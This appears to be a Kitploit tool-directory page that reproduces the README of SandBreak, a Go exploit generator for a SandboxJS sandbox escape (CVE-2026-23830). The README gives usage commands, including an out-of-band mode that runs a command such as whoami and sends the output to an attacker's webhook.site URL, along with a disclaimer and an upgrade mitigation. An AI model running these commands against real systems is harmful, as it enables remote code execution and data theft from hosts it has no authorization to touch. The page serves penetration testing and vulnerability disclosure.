Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/galaxy-sc/cve-2026-23830-sandbreak
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubgalaxy-sc/cve-2026-23830-sandbreak

CVE-2026-23830-SandBreak

Generates and delivers exploit payloads for CVE-2026-23830, a SandboxJS escape, with modes for blind OOB exfiltration and local calc PoC. Supports HTTP/HTTPS listeners and produces minified JavaScript payloads.

View Repository
1147 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SandBreak

CVE-2026-23830 Exploit Generator & Auto-Pwn Tool

Go Version License Type

SandBreak is a robust, Go-based exploit generator designed to leverage the SandboxJS Escape vulnerability (CVE-2026-23830).

This tool exploits the unprotected AsyncFunction constructor in older versions of sandboxjs, allowing attackers to break out of the V8 sandbox environment and execute arbitrary code on the host system. It supports multiple payload modes including Blind OOB Exfiltration, Defacement, and Error-Based RCE.

Features

  • 2 Attack Modes:
    • oob: Out-of-Band Data Exfiltration (HTTP/HTTPS) for blind scenarios.
    • calc: Pops calc.exe (Classic PoC).
  • Smart OOB: Automatically detects HTTP vs HTTPS to prevent server crashes.
  • Go-Based: Single binary, no dependencies required on the attacker machine.
  • Lightweight: Generates pure, minified JavaScript payloads.

Installation

Clone the repository and run:

git clone https://github.com/Galaxy-sc/CVE-2026-23830-SandBreak.git
cd CVE-2026-23830-SandBreak
go run CVE-2026-23830.go

Usage

go run CVE-2026-23830.go -mode [MODE] -cmd [COMMAND] [OPTIONS]

1. OOB Mode (Blind RCE - Professional)

Use this when you have no output feedback. It executes the command and sends the Base64-encoded result to your listener (e.g., webhook.site).

go run CVE-2026-23830.go -mode oob -cmd "whoami" -url "https://webhook.site/YOUR-UUID"

Successfully bypasses basic egress filtering crashes by handling network errors.

2. Calc Mode (Local Test)

Pops a calculator on the Windows server.

go run CVE-2026-23830.go -mode calc

Proof of Concept (PoC)

Scenario: OOB Exfiltration

Attacker receiving the server's user data via Webhook despite no visual output on the site.

Disclaimer

This tool is created for Educational Purposes and Authorized Penetration Testing only.

  • Do not use this tool on systems you do not own or do not have explicit permission to test.
  • The author is not responsible for any misuse or damage caused by this tool.

Mitigation

Upgrade sandboxjs to the latest version where the AsyncFunction constructor is properly sandboxed.

npm update sandboxjs

Author: Meysam Bal-afkan

License: MIT

Download Tool